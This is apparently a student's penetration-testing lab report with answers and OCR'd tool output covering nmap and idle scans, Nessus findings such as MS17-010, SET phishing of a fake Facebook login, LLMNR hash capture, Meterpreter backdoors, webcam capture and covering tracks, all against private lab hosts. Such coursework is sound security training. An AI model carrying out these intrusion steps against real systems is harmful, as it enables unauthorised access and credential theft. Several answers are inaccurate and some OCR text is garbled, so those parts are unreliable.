Evidence= [image: A screenshot of a computer

Description automatically generated with medium confidence] 
 
6. Observe the flooding TCP Packets in the Target machine using Wireshark. Could you look at the information of TCP packets transmitted to and from attacker machine?  
Answer= Using wireshark I was able to view the TCP packet flood, as well as the packets from and to the target and attacker machines.  
Evidence= [image: A picture containing chart

Description automatically generated] 
[image: A screenshot of a computer

Description automatically generated with low confidence] 
 
Part 2 
1. Do an Internet Search about MegaPing. What is this tool for? Which website did you download MegaPing? Why?  
Answer= Megaping is used to scan an entire networks , which will then provide detailed information about shared folders, services drives, open ports and many other pieces if information. The link I downloaded the tool from was the tools official page. This was to decrease the likely hood of downloading malicious software and being targeted by attackers.  
Reference= https://magnetosoft.com/product-megaping/#:~:text=MegaPing%20can%20scan%20your%20entire,domains%2C%20printers%2C%20and%20more.  
2. Based on your research earlier at Step 2, you might have known that MegaPing tool could look for potential vulnerabilities within your network. Did you manage to discover any vulnerabilities in your network?  
Answer= The vulnerabilities I discovered using the tool was the elevated risk on ports 80 and 139 on the windows 12 machine. I also found vulnerabilities on the ports 135,445,2103,2105. 
Evidence= [image: Graphical user interface, text, application, email

Description automatically generated] 
[image: Graphical user interface, text, application

Description automatically generated] 
Part 3  
1. Based on your usage of this tool, and earlier tools within your lab network, what are the additional details you gathered after using this tool? 
Answer= The additional details I have gathered using this tool was information concerning mac addresses, response times, IP address, host names, I/f manufacturer names, possible OS information, netBIOS and domain names.  
Evidence= [image: Table

Description automatically generated] 
[image: Chart, bubble chart

Description automatically generated] 
[image: Graphical user interface, text, application, email

Description automatically generated] 
[image: Graphical user interface, text, application, email

Description automatically generated] 
Part 4 
1. We are initiating ACK Scan to display the port. Could you observe that the ports are in ignored states. ✓ Why? ✓  
Answer= The reason why the ports are in an ignored states is because the tool could not properly determine the state of the port.  
Reference= https://forums.itpro.tv/topic/4075/nmap-problems  
2. Is it because of Firewall? Is our Firewall Off or On? Try the viceversa  
Answer= The difference between the scans with and without firewalls on is that without the firewalls, the scan took 6.75 seconds. Yet when the firewall was on, the scan took 21.71 seconds to complete.  Evidence= [image: Text

Description automatically generated] 
3. In all my scans, the ports are in ignored states. Could you able to find out a way to identify the status of the ports? Do some research 
Answer= A way to determine the status of ports is to issue a –sU command within nmap. This will send a udp packet to a target ip’s ports and will determine the status of port if any response has been received. Alternatively the –open command can also be used to scan any ports that have an open state.   
Evidence= [image: Graphical user interface, text

Description automatically generated] 
[image: Text

Description automatically generated] 
Reference= https://techtalk.gfi.com/scanning-open-ports-in-windows-part-3-nmap/  
 
4. Observe the output. Why is the difference? 
Answer= The difference between the scans is that first scan, nmap could not determine the IP 192.168.100.4’s IP ID sequence generation, which then led to the entire command being dropped. The next scan was able to determine the IP ID sequence of 192.168.100.6 which resulted in the IP being used as a zombie machine against 102.168.100.4.  
[image: Text

Description automatically generated] 
Reference= https://nmap.org/presentations/CanSecWest03/CD_Content/idlescan_paper/idlescan.html https://nmap.org/book/osdetect-usage.html  
5. Observe the output. 
Answer= The output I have observed is that all IP addressed within the networks is active.  
Evidence=[image: Text

Description automatically generated] 
6. After using various tools so far, what are the details you have gathered? Document them. Include your previous activity information too 
Answer= The details I have gathered so far from the tools gathered  
Part 5  
1. Which link did you use to download the tool? Why? What is the purpose of this tool? 
Answer= The link I downloaded the tool from was the official link as this was likely to decrease the chances of being attacked through malicious software.  
2. What is your IP Address? What is your location? Could you locate/see any proxy detected? Which tool did you use to find the above information? 
Answer= The information gathered using whatismyIP.com, was my public IPv4 address. The tool said that my location is Milton Keynes and that my internet service provider is BT. The tool could not find any proxy detection.  
Evidence=[image: Graphical user interface, text

Description automatically generated with medium confidence] 
3. Use tools, that you have used so far during information-gathering phase to further analyse. What did you get? Did you manage to identify your proxy server or type? 
Answer= When using the proxy switcher tool, I used a similar whatismyip tool. The information displayed is my proxy ip address and proxy location. The tool also did not identify any proxy server information.  
Evidence= [image: Graphical user interface, application, Word

Description automatically generated] 
4. Based on your usage of this tool, and the analysis done, write your understanding on using Proxy tools like this.  
Answer= Based on the usage of this tool, my understanding on proxy tool is for the user to browse the internet anonymously by hiding the users IP address and location. Another use for tools such as proxy switcher is that they increase protection to hackers.  
Reference= https://www.javatpoint.com/what-is-a-proxy-server-and-how-does-it-work  
5. Referring to the above screenshot, what is the Proxy type DCH? 
Answer= The proxy type DCH is referred to a ‘hosting provider', 'content delivery network’ or a ‘data center’. This means that the P address will belong to a web hosting service and will be regarded suspicious if an online order is sent from one of these proxy types.  
Screenshot= [image: A screenshot of a computer

Description automatically generated] 
Reference= https://proxyway.com/guides/types-of-proxies#:~:text=What%20Does%20%22Proxy%20Type%3A%20DCH,and%20not%20a%20residential%20user. https://blog.ip2location.com/knowledge-base/how-different-proxy-types-can-affect-your-business/  https://www.rapidseedbox.com/blog/types-of-proxy#028  
Part 6 
1. . What is TCP Window Size? b. list out the values below. 
Windows TTL= 128 
Windows TCP Window size: 65,535 
Linux TTL= 64 
Linux TCP Window size: 1GB  
Free BSD TTL= 64 
Free BSD TCP Window size: 1GB? 
Server 2016 TTL= 128 
Server 2016 TCP Window size: 64 KB 
Cisco Router TTL= 255 
Cisco Router TCP Window size: 65,536 Bytes 
Reference= https://learn.microsoft.com/en-us/troubleshoot/windows-server/networking/description-tcp-features https://www.oreilly.com/library/view/cisco-ios-in/156592942X/re417.html#:~:text=The%20maximum%20size%20of%20the%20window%20is%2065536%20bytes.  
2. From the above output, could you determine what is the Operating System running in 10.10.10.11 host machine? d. What details did you gather? e. What assumptions could be made with the gathered information? 
The OS possibly running in the 10.10.10.11 host machine is the Kal8i Linux machine. This is based on the TTL size, which is 64. This follows the TTL sizes of Linux based machines.  
Part 7 
1. Which link did you use to download the tool? Why? What is the purpose of this tool? 
Answer= The link I downloaded the tool from was the official link. This was to decrease the likelihood of attacks through the download of any malicious software.  The purpose of the tool is the automation of discovering devices and the mapping of internal networks. This would occur through multiple scans.  
Reference= https://www.solarwinds.com/network-topology-mapper#:~:text=Network%20Topology%20Mapper%20Network%20mapping,Perform%20multi%2Dlevel%20network%20discovery  
2. If you are using Network Topology Mapper from Solarwinds, a) what option did you select on the following “Would you like to send anonymous data to SolarWinds about how you use Network Topology Mapper?” b) Why did you select the stated option? 
Answer= The option I chose was ‘No, I would not like to participate’. I chose this as I would not like data of my network, whether anonymous or not, being shared to a 3rd party. If they are comprised then attackers may be able to trace back any network information.  
Part 8 
1. Which link did you use to download the tool? Why? What is the purpose of this tool? 
Answer= The link I downloaded the tool from was the official link. This was to decrease the likelihood of attacks through the download of any malicious software. The purpose of the tool is to scan networks by IP Ranges, domains, computers. Based on these scans' reports can also be made for further detail.  
Reference= https://magnetosoft.com/product-global-network-inventory/  
2. What is the difference between both the scans?  
Answer= The difference between the two scans is that using the tool currently logged in as the user brought more results than being connected as another user. 
Reference=  
3. Using user credentials, did you manage to gather information like Software’s Installed, Services Running, NetBIOS information, Users, User Groups, Operating System etc? Yes!! – What is your gathered information? No!! – Why? Reason out and do research, troubleshoot, and gather the above information. 
Answer= The information I have gathered application information, installed software and running services.  
Evidence= [image: Graphical user interface, application, table

Description automatically generated] 
[image: Table

Description automatically generated] 
[image: Table

Description automatically generated] 
[image: Table

Description automatically generated] 
[image: Graphical user interface, table

Description automatically generated] 
Part 9 
1.  Which link did you use to download the tool? Why? What is the purpose of this tool? 
Answer= The link I downloaded the tool from was the official link. This was to decrease the likelihood of attacks through the download of any malicious software. The purpose of the tool is to scan 
Reference= https://nmap.org/book/inst-windows.html https://nmap.org/  
2. Nmap -O Nmap -O -v what is the difference between the above two commands? 
Answer=The difference between these two scans is that while the ‘-O’ command may scan and detect open ports, the ‘-v’ command will increase the level of verbosity, giving out more information in the output.  
Reference= https://www.stationx.net/nmap-cheat-sheet/  
Evidence= [image: Graphical user interface, text, application

Description automatically generated] 
[image: Graphical user interface, text, application

Description automatically generated] 
3. Do research on net use. Know what is the purpose of net use command? Which OS versions is that supported? 
Answer=The purpose of the net use command is that used to manage any network connections within a Windows OS. The OS’ it has support for are the various Windows OS’. This would include from Windows Server 2008 to Windows Server 2012 as well as Windows 10.  
Reference= https://www.easeus.com/knowledge-center/net-use-command.html https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/gg651155(v=ws.11)  
Part 10  
1. This lab activity has a number of nmap commands. Could you list out all the descriptions of these commands? For example, the 1 st command used here is nmap -sP 10.10.10.0/24 What is the purpose of this command? This scan lists the hosts that responded to the ping within the specified range of IP addresses. By using this command, you could determine the status like up and live hosts in the target network. This is also known as Ping sweeping. 
Answer= -The sP command is a ping scan only command, The –sS command is a TCP SYN port scan command, while the -ssV –O commands are the commands to find services running in ports as well as to find the OS that the system runs.  
Reference= https://www.comparitech.com/net-admin/nmap-nessus-cheat-sheet/  
2. Which is the default port for SNMP? 
Answer= The default port for a SNMP are wither the UDP 161 or UDP 162 ports.  
Reference= https://www.thousandeyes.com/learning/techtorials/snmp-simple-network-management-protocol#:~:text=What%20is%20an%20SNMP%20port,Traps%20to%20the%20SNMP%20Manager.  
3. Above two commands are same but outputs are different. Could you justify why the outputs are different? What actions was taken before executing the command second time? 
Answer= The reasoning behind this is that the command had to load before the script could be run a second time.  
Reference= https://nmap.org/nsedoc/categories/brute.html  
4. Know about MSF console. Do research on Metasploit. A very useful tool in Kali Linux. Refer to Metasploit.com, Github for references 
Answer= Metasploit is a tool that is used to collect various attack information, priorities these attack methods, and then find methods that can be used to bolster defenses.  
Reference= https://www.rapid7.com/products/metasploit/  
5. After enumerating the target on SNMP, what information did you gather? In similar method, could you try to enumerate LDAP on an ADDS and modify domain user accounts? 
Answer=  
Reference=  
[bookmark: _Toc124253826]Activity 4  
Part 1 
1. Which link did you use to download the tool? Why? What is the purpose of this tool? 
Answer= I've downloaded this tool from the official Nesses website, As this will decrease the likelihood of downloading malicious software. The purpose of this tool is to scan your internal network and find any vulnerabilities that it may have. The tool may also provide way to strengthen your network.  
Reference= https://www.tenable.com/products/nessus/nessus-essentials  
2. Why would we turn off ping the remote host option? 
Answer= This is because that a ping sent to the remote host might cause the firewall to filter and block any incoming packets.  
3. Why would we set them to unlimited? 
Answer= This is because will be able to perform a routine scan on the network, as there are a maxium amount of packets being sent to the TCP Port.   
Reference= https://www.tenable.com/blog/unlimited-discovery-scanning-with-securitycenter-and-nessus https://docs.tenable.com/nessus/Content/AdvancedSettings.htm  
4. Use the report and classify action plan/ mitigation steps to overcome the vulnerabilites. a. To do that, categorize all the listed vulnerabilites based on its severity. b. Select one of the vulnerability and propose a mitigation/ action plan. 18.Document your report and Mitigation plan with proper/adequate citations.  
Answer= The vulnerability that I have gathered is a security update for Windows SMB Server. The proper mitigation plan for this is to install any of the emergency patches that have been released by Microsoft for Windows systems that are no longer supported.  
Evidence=[image: Graphical user interface, website

Description automatically generated] 
[image: Graphical user interface, text, application, Word, email

Description automatically generated] 
Reference= https://www.tenable.com/plugins/nessus/97737  
Part 2 
1.  Which link did you use to download the tool? Why? What is the purpose of this tool? 
Answer= I've downloaded this tool from the official Kali Liunx tool page, as this will decrease the likelihood of downloading malicious software. The purpose of this tool is to scan your internal network and find any vulnerabilities that it may have. The tool may also provide a way to strengthen your network.  
Reference= https://www.tenable.com/products/nessus/nessus-essentials 
2. Click on the vulnerabilities and look at all the vulnerabilities listed for the target machine. View the detailed report about all the listed vulnerabilities and create a list based on High, Medium categories. 
Answer= The report I have made has listed medium and high-risk vulnerabilities.  
Evidence=[image: Table

Description automatically generated] 
3. Based on your categorization, select the Top listed vulnerability, and propose your mitigation steps/ strategies. Refer to websites/ databases which we have covered during our lectures to list out the necessary mitigation steps, citations etc. 
Answer= The highest vulnerability that has been detected is a SSL Medium strengh Cipher suites supported. To mitigate this vulnerability, the solution is to reconfigure the application to avoid the use of any medium strength ciphers used.  
Evidence= [image: Table

Description automatically generated] 
[image: Text

Description automatically generated] 
Reference= https://www.tenable.com/plugins/nessus/42873  
Part 3 
1. Which command did you issue to download Nikto? Why? What is the purpose of this tool? 
Answer= I've downloaded this tool from the official Kali Linux tool page, as this will decrease the likelihood of downloading malicious software. The purpose of this tool is a open-source vulnerability scanner that can detect thousands of problems and capture any of the vulnerabilities found.  
 Evidence= [image: Graphical user interface

Description automatically generated] 
[image: Text

Description automatically generated] 
[image: Text

Description automatically generated] 
Reference= https://www.kali.org/tools/nikto/ https://www.cyber-today.com/what-is-nikto-tool-in-kali-and-how-to-use-it/  
2. Use other commands to scrutinize the target network. List out the commands you used, and the vulnerabilities identified. 8. Write a report to provide your thoughts and observation on your target’s security posture and exposure. Submit in Moodle 
 
3. Use other commands to scrutinize the target network. List out the commands you used, and the vulnerabilities identified. 
 
[bookmark: _Toc124253827]Activity 5 
Part 1 
1. What is your understanding about SE Toolkit? 
Answer= My understanding of the SET toolkit is that it allows you to perform various social engineering actions that can result in information such as password hashes being obtained.   
Reference= https://www.trustedsec.com/tools/the-social-engineer-toolkit-set/  
2. What is Spear-Phishing Attack? What are their vectors? What are the other Social Engineering Attacks found in SEToolkit? Try to simulate one of the attacks (not listed in the activity) and document the outcome.   
Answer= Spear Phishing is a communication method such as an email, that can be used to phish for information from a target. Other attack methods within the toolkit include website attack vectors, Mass mailer attacks or a payload and lister creator.  
Evidence=[image: ] 
Reference= https://www.kaspersky.co.uk/resource-center/definitions/spear-phishing  
3. What would you do to target a victim outside your network? By giving this private IP address of the attacker, will you receive the harvested information if your target is outside your local network? Document your thoughts with necessary references, screenshots, and citations. 
4. What catchy name did you use? Document the steps with adequate screenshots. 
5. Which webpage opened on clicking the link? Document your observations on the webpage. 
Answer= The website that opened upon clicking the link is a fake host site for a facebook login page.  
Evidence= [image: Graphical user interface, application

Description automatically generated] 
6. What happened after clicking login? What is your observation here? 
Answer= The observation I have made is that the users password hashes have been captured.  
Evidence=[image: Text

Description automatically generated][image: Graphical user interface, text, application

Description automatically generated] 
Part 2 
1. Which link did you use to download the tool? Why? What is the purpose of this tool? 
Answer= I've downloaded this tool from the official tool page, as this will decrease the likelihood of downloading malicious software. The purpose of this tool is to verify the security of webpages once you enter them.  
Reference= https://www.netcraft.com/  
2. Name of the website visited: Risk Rating of the website: Other relevant details: Click on the Site Report: Relevant details about the website: (Repeat this for all the website you are visiting) Referring to our previous task, did you check the link you generated to harvest the credentials using Netcraft toolbar? What is the outcome? 
Answer= The websites I visited is ITsecgame, which returned no risk rating. I then visited the phony factbook login page, which returned a 9-risk rating.  
Evidence=[image: Graphical user interface, application

Description automatically generated] 
[image: Graphical user interface, application

Description automatically generated] 
[image: Graphical user interface, application

Description automatically generated] 
3. How did netcraft toolbar respond to the phishing site? What action did you take? Why 
Answer= The toolbar responded with a red warning stating that the website I have entered is a phishing page.  
[image: Graphical user interface

Description automatically generated] 
4. Which link did you use to download the tool? Why? What is the purpose of this tool? 
Answer=The link I had used was the official website. The purpose of this tool is to verfiy the validity of any webpage.  
Evidence=[image: Graphical user interface, text

Description automatically generated] 
Reference= https://phishtank.org/  
5. Name of the visited LINK: Risk Rating of the website: Other relevant details: Click on the Site Report: Relevant details about the website: 
[image: Graphical user interface, application

Description automatically generated] 
[image: Graphical user interface, text, application, email

Description automatically generated] 
[image: Graphical user interface, text, application, chat or text message

Description automatically generated] 
[image: Graphical user interface, text, application, email

Description automatically generated] 
[bookmark: _Toc124253828]Activity 6 
Part 1 
1. What is your understanding about Metagoofil Tool? What is the purpose of this tool? 
Answer= The purpose of this tool is to gather information on any targets through the extraction of metadata.  
Reference= https://www.geeksforgeeks.org/metagoofil-tool-to-extract-information-from-docs-images-in-kali-linux/  
2. (While executing these metagoofil commands to extract metadata from your target website, this happens. What will you do? Research and document the error and its mitigation steps) What is this exception? • Why this exception occurs? • How to overcome this exception and successfully extract metadata you’re your target? • Refer Whitepapers, Literatures and in-text cite them, • Using the knowledge and understanding gathered from the research, demonstrate the method to overcome the exception. Illustrate the steps with adequate and appropriate screenshots. 
Answer= My solution to this problem was to wait a period of 12 hours, as the IP blocking had ceased.  
 
Evidence=[image: Text

Description automatically generated] 
[image: Graphical user interface, text, application, chat or text message

Description automatically generated] 
[image: A screenshot of a computer

Description automatically generated with medium confidence] 
[image: Graphical user interface, text, application

Description automatically generated] 
[image: Graphical user interface, text

Description automatically generated] 
[image: A screenshot of a video game

Description automatically generated] 
3. From gathering those metadata, what useful information did you gather? How is Metagoofil tool useful for your attack? 
Answer= From the informaion gathered, I have encountered various documents being downloaded into my file system.  
Evidence= [image: ] 
 
[image: Text

Description automatically generated] 
[image: A screenshot of a computer

Description automatically generated with medium confidence] 
Part 2 
1. What is LLMNR/NBT-NS? By Spoofing LLMNR/NBT-NS what happens? 
Answer= LLMNR is what is referred to as Link Local Multicast Name Resolution which is a protocol that does not send or respond to queries in TCP.  
Reference= https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-llmnrp/6806998e-034d-4c39-8398-5af8bfd52d7e  
2. What is the outcome when you open the correct shared folder? What is the outcome when you open a wrong shared folder? 
Answer= The outcome I have seen is that the NTLM hashes have been saved and can now be extracted.  
Evidence[image: Graphical user interface

Description automatically generated with medium confidence] 
[image: ] 
[image: ] 
3. What do you see? Did you get the username and passwords of your victim? 
4. Do research to find out different ways to convert the collected data (Hash files) into actual text. What tools could you use to crack the hashes? List out the tools. (Hint: Use one of the tools other than John the ripper to crack the hashes and submit the work as a part of your Coursework.) 
Answer= Other methods to crack the hashes is to use tools such as Ophcrack, will use rainbow tables.  
[image: A screenshot of a computer

Description automatically generated with medium confidence] 
[image: Text

Description automatically generated] 
5. Did you get the username and passwords of your victim? 
Part 3 
1. Which link did you use to download these tools? Why? What is the purpose of these tools? 
Evidence=[image: Graphical user interface, text, application, email

Description automatically generated] 
[image: Graphical user interface, text, application

Description automatically generated] 
2. So, which hash would you select from Winrtgen? 
3. There are different hash types present in the list. What are they used for? Do research on different kinds of hashes and their purpose. 
4. Minimum Length : Maximum Length : Chain Count 
Evidence=[image: Table

Description automatically generated] 
[image: Graphical user interface, text, application, email

Description automatically generated] 
[image: Graphical user interface, text, application, email

Description automatically generated] 
5. If yes, how did the tool gather the password hashes. If No, why? What error did you get? Do research and troubleshoot the error. Possible Error: The system cannot execute the specified program  
Answer= The possible error is that the command is not run as administrator. 
 
Evidence=[image: Text

Description automatically generated] 
[image: Text

Description automatically generated] 
[image: Text

Description automatically generated] 
6. What is your understanding on the entire process of using Winrtgen, Rainbow Crack and Pwdump Tools. 
Part 4 
1. What is a metaspoilt framework? What is the use of msfvenom? 
Answer- The use of msfvenom is to payload creator that can be used to exploit any target machines.  
Ref - https://www.offensive-security.com/metasploit-unleashed/msfvenom/ https://blog.knoldus.com/what-is-msfvenom-how-to-use-it/  
2. What is vnc? 
Answer= VNC is a type of remote control software that can be used to gain access to other remote desktops.  
https://www.techtarget.com/searchnetworking/definitions  
3. . Report a. What is a metaspoilt framework? b. What is the use of msfvenom? c. Screenshot with illustrations on creating a Shared Directory for the Payload d. What is VNC? e. Your outcome 
 
Evidence= [image: Graphical user interface, application

Description automatically generated] 
[image: Graphical user interface, text, application, email

Description automatically generated] 
[image: Text

Description automatically generated] 
[image: ] 
[image: Graphical user interface, text, application

Description automatically generated] 
[image: A computer screen capture

Description automatically generated with low confidence] 
Part 5 
1. What is a Backdoor? 
2. What is a Shikata_ga_nai payload? 
3. So far, we have created two different payloads. What is the difference between them? Do research to different payloads and its purposes. Use adequate literatures to in-text cite. (Use the work for your Coursework) 
Reference= [image: ] 
[image: Text

Description automatically generated] 
4. Using a similar command like above, check if the Meterpreter server is running as administrator. Which command would you use to confirm this? 
Reference= [image: ] 
5. Confirm the working directory. Which command would you use to confirm the working directory? 
[image: Text

Description automatically generated] 
Reference= https://www.offensive-security.com/metasploit-unleashed/meterpreter-basics/ 
6. Did you get access to the confidential file? What is the confidential data present in the document? If Yes, proceed further. If No, troubleshoot. 
Evidence= [image: A picture containing text

Description automatically generated] 
[image: Text

Description automatically generated] 
7. What is MACE Value? 
Evidence=[image: Text

Description automatically generated] 
[image: A picture containing graphical user interface

Description automatically generated] 
8. Use the same techinque to capture the webcam snapshots and streams. Record the steps with adequate screenshots. 
Evidence= [image: Text

Description automatically generated] 
[image: Text

Description automatically generated] 
[image: A screenshot of a computer

Description automatically generated] 
Reference= https://www.offensive-security.com/metasploit-unleashed/screen-capture/  
Part 6 
1. What is your File System Format? 
2. Check the size of the exe files and the notepad files. What is the file sizes? Notepad: Exe: NPP.exe Exe: PwDump7.exe 
Evidence= [image: Text

Description automatically generated] 
3. Check the file size again. What is the file sizes? Notepad: Exe: NPP.exe Exe: PwDump7.exe Any Changes? Yes or No. Why? 
Evidence=[image: ] 
4. What happened when executing the above command? Did the file execute? If Yes, go to next step. If no, Troubleshoot 
Evidence= [image: Text

Description automatically generated] 
[image: Graphical user interface, application

Description automatically generated] 
5. What happened when executing the backdoor? Did the file execute?  
Evidence=[image: Graphical user interface, text, application

Description automatically generated] 
6. No, it wont execute the exe file. A error message pops out stating required DLL File was not found or missing. Do research to find out steps to execute the exe file along with the required DLL File. 		Document the step with adequate screenshot and description. You shall use these identified steps in your coursework.  
7. By hiding files using NTFS File Streams, what could you achieve?  
Part 7  
1. What is Auditpol? How is it helpful in covering tracks? Set various Auditpol policies and document with screenshots List out similar tools that are used for covering tracks. 
Evidence= [image: Text

Description automatically generated] 
[image: Graphical user interface, text

Description automatically generated] 
[image: Text

Description automatically generated] 
[image: Text

Description automatically generated] 
[image: ] 
[image: Text

Description automatically generated] 
[image: ] 
[image: Text

Description automatically generated] 
[image: Text

Description automatically generated] 
[image: Text

Description automatically generated] 
 
Understanding on all the activities 2. Understanding about various tools used 3. New/ Similar tools you identified and used 4. Compare and Contrast the tutorial tools with your identified tools 5. Rate yourself: How confident are you to do footprinting, reconnaissance, vulnerability assessment, social engineering, gaining access, escalating privileges, and covering tracks activity ethically? 6. Any other Troubleshooting Steps, you need to share? 
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lf( Sooti el -[/home/kali ]
 nmap -sU -T5 192.168.100.4
Starting Nmap 7.92 ( https://nmap.org ) at 2023-01-04 20:06 GMT
Warning: 192.168.100.4 giving up on port because retransmission cap hit (2).
Nmap scan report for 192.168.100.4
Host is up (0.00052s latency).
Not shown: 986 open| filtered udp ports (no-response)
PORT STATE ~SERVICE
9/udp  closed discard
80/udp  closed http
137/udp open netbios-ns
161/udp open  snmp
664/udp  closed secure-aux-bus
1081/udp closed pvuniwien
16919/udp closed unknown
19482/udp closed unknown
20762/udp closed unknown
22996/udp closed unknown
37212/udp closed unknown
48489/udp closed unknown
49193/udp closed unknown
49968/udp closed unknown
MAC Address: 08:00:27:68:06:6D (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 12.68 seconds
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lf( Sootiel)-[/home/kali ]
4 nmap -open 192.168.100.4
Starting Nmap 7.92 ( https://nmap.org ) at 2023-01-04 20:12 GNT
Nmap scan report for 192.168.100.4
Host is up (0.00025s latency).
Not shown: 991 closed tcp ports (reset)
PORT  STATE SERVICE
80/tcp  open http
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
1801/tcp open msmq
2103/tcp open  zephyr-clt
2105/tcp open eklogin
2107/tcp open msmg-mgmt
3389/tcp open ms-wbt-server
MAC Address: 08:00:27:68:06:6D (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 1.46 seconds




image80.png
E(moteka\i)—[/m/nli]

 nmap -Pn -p 80 -sI 192.168.100.4 192.168.100.6
Starting Nmap 7.92 ( https://nmap.org ) at 2022-11-02 15:24 GNT
Idle scan using zombie 192.168.100.4 (192.168.100.4:80); Class: Incremental
Even though your Zombie (192.168.100.4; 192.168.100.4) appears to be vulnerable to IP ID sequence prediction (class: Increme
ntal), our attempts have failed. This generally means that either the Zombie uses a separate Ip ID base for each host (like
Solaris), or because you cannot spoof IP packets (perhaps your ISP has enabled egress filtering to prevent IP spoofing), or
maybe the target network recognizes the packet source as bogus and drops them
QUITTING!

E(mmeka\i)—[/m/nli]
. nmap -Pn —p 80 -sI 192.168.100.6 192.168.100.4
Starting Nmap 7.92 ( https://nmap.org ) at 2022-11-02 15:25 GNT
Idle scan using zombie 192.168.100.6 (192.168.100.6:80); Class: Incremental
Nmap scan report for 192.168.100.4
Host is up (0.0067s latency).

PORT  STATE SERVICE

80/tcp open http

MAC Address: 08:00:27:68:06:6D (Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 0.99 seconds

E(iome {1 )-[/home/kali]
i
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E(moxeka\i)—[/m/nli]
4 nmap -sP 192.168.100.%
Starting Nmap 7.92 ( https://nmap.org ) at 2022-11-02 15:29 GMT
Nmap scan report for 192.168.100.1
Host is up (0.00092s latency).
MAC Address: 52:54:00:12:35:00 (QEMU virtual NIC)
Nmap scan report for 192.168.100.2
Host is up (0.00092s latency).
MAC Address: 52:54:00:12:35:00 (QEMU virtual NIC)
Nmap scan report for 192.168.100.3
Host is up (0.00091s latency).
MAC Address: 08:00:27:35:96:D7 (Oracle VirtualBox virtual NIC)
Nmap scan report for 192.168.100.4
Host is up (0.00091s latency).
MAC Address: 08:00:27:6B:06:6D (Oracle VirtualBox virtual NIC)
Nmap scan report for 192.168.100.5
Host is up (0.00091s latency).
MAC Address: 08:00:27:68:DA:A6 (Oracle VirtualBox virtual NIC)
Nmap scan report for 192.168.100.6
Host is up (0.0011s latency).
MAC Address: 08:00:27:C7:25:44 (Oracle VirtualBox virtual NIC)
Nmap scan report for 192.168.100.9
Host is up.
Nnap done: 256 IP addresses (7 hosts up) scanned in 2.07 seconds
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>
What Is My IP?

N My Public IPv4 is: 86.186.232.183 ®
My Public IPv6 is: Not Detected

My IP Location is: Milton Keynes, ENG GB
My ISP is: British Telecommunications PLC

Ends 8 November

SHOP NOW.
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Your possible IP address is:  217.147.172.65 =
Location: POLAND

Proxy Server: not detected
Proxy IP: -
Proxy Country:
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< Maltego Packages and Binarie:

maltego

Maltego is an open source intelligence and forensics application. It wi
information as well as the representation of this information in a easy

This package replaces previous packages matlegoce and casefile.

Installed size: 217.90 MB

version: 4.3.0 arch: all
How to install: sudo apt install maltego

@ Maltego Homepage | <> Package Tracker | F5Source Code Repository
2 Edit This Page A
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Sean Tools Profile Help

Targer: | 15216810088

Command:

] b g

nmap -0 1921681004

o [ s |

Nevep Output | Pors/ st Tapology | Host D] scare]

05+ Host
1921681004

‘

nmap -0 1921681004

[ = [paaid

Starting Nnap 7.93 ( https://nmap.org ) at 2022-11-04
15:20 Pacific Daylight Time
Nmap scan report for 192.168.100.4
Host is up (9.00032s latency).
closed tcp ports (reset)
SERVICE
nttp
msrpc
netbios-ssn
microsoft-ds
msnq
zephyr-clt
eklogin
msnq-mgmt
ms-ubt-server
©8:00:27:68:06:6D (Oracle VirtualBox

2105/tcp
2107/tcp
3389/tcp
Address:
virtual NIC)
Device type: general purpose
Running: Microsoft Windows 2016

05 details: Microsoft Windows Server 2016 build 10536 -
14393
Netuork Distance: 1 hop

05 detection performed. Please report any incorrect
results at https://nmap.org/submit/ .

Nmap done: 1 1P address (1 host up) scanned in 3.01
seconds
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os - o0 192166104 T

1921681004 Starting Nmap 7.93 ( https://nmap.org ) at 2022-11-04 |,
15:22 Pacific Daylight Time

Tnitisting ARP Ping Scan at 15:22

Scanning 192.168.100.4 [1 port]

Completed ARP Ping Scan at 15:22, 0.03s elapsed (1

total hosts)

Initiating Parallel DNS resolution of 1 host. at 1

Completed Parallel DS resolution of 1 host. at 15

0.005 clapsed

Initisting SYN Stealth Scan at 15:22

Scanning 192.168.100.4 [1000 ports]

Discovered open 3389/tcp on 192.168.100.4

Discovered open 445/tcp on 192.168.100.4

Discovered open 139/tcp on 192.168.160.4

Discovered open 80/tcp on 192.168.100.4

Discovered open 135/tcp on 192.168.160.4

Discovered open 2167/tcp on 192.168.100.4

Discovered open 1861/tcp on 192.168.160.4

Discovered open 2163/tcp on 192.168.160.4

Discovered open 2165/tcp on 192.168.160.4

Completed SYN Stealth Scan at 15:22, 1.60s elapsed

(1000 total ports)

Initiating 05 detection (try #1) against 192.168.100.4

Nmap scan report for 192.168.100.4

Host is up (9.00049s latency).

Not_shoun: 991 closed tcp ports (reset)

PORT  STATE SERVICE

80/tcp  open http

135/tcp open msrpc

139/tcp open netbios-ssn

445/tcp open microsoft-ds

1801/¢cp open msmq

2103/tcp open  zephyr-clt

2105/tcp open  eklogin

2107/tcp open  msma-mgmt
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E(root@ kali)-[~]
+ sudo apt install subfinder
Reading package lists ... Done
Building dependency tree ... Done
Reading state information ... Done
The following NEW packages will be installed
subfinder
0 upgraded, 1 newly installed, 0 to remove and 1079 not upgraded
Need to get 2,975 kB of archives.
After this operation, 10.1 MB of additional disk space will be used
Get:1 http://kali.download/kali kali-rolling/main amdé4 subfinder amde4 2.3.8-okalil [2,975 kBl
Fetched 2,975 kB in 1s (3,594 KB/s)
Selecting previously unselected package subfinder.
(Reading database ... 311327 files and directories currently installed.
Preparing to unpack ... /subfinder_2.3.8-0kalil amdsi.deb ...
Unpacking subfinder (2.3.8-okalil)
Setting up subfinder (2.3.8-okalil)
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192.168.100.9

CamcaL i e wow o
Valnerabilties Total: 29
StENTY  cvss UGN NAME

iy
81 97855 MS17.010:Security Update for Microsoft Windows SMIB Server

(4013389 (ETERNALBLUE) (ETERNALCHAMPION) (ETERNALROMANCE)
(ETERNALSYNERGY) (WannaCry) (EternalRocks) (Petya) (uncredentialed
check)

68 90510 MS16.047: Security Update for SAM and LSAD Remote Protocols.
(3148527) (Badlock) (uncredentialed check)

53 57608 SMB Signing not required

N/A 10114 ICMP Timestamp Request Remote Date Disclosure
NA 4555 Common Pltform Enumeration CPE)

N/A 10735 DCE Services Enumeration

NA 5615 Device Type

N/A 35716 Ethernet Card Manufacturer Detection

NA 85420 Ethernet MAC Addresses

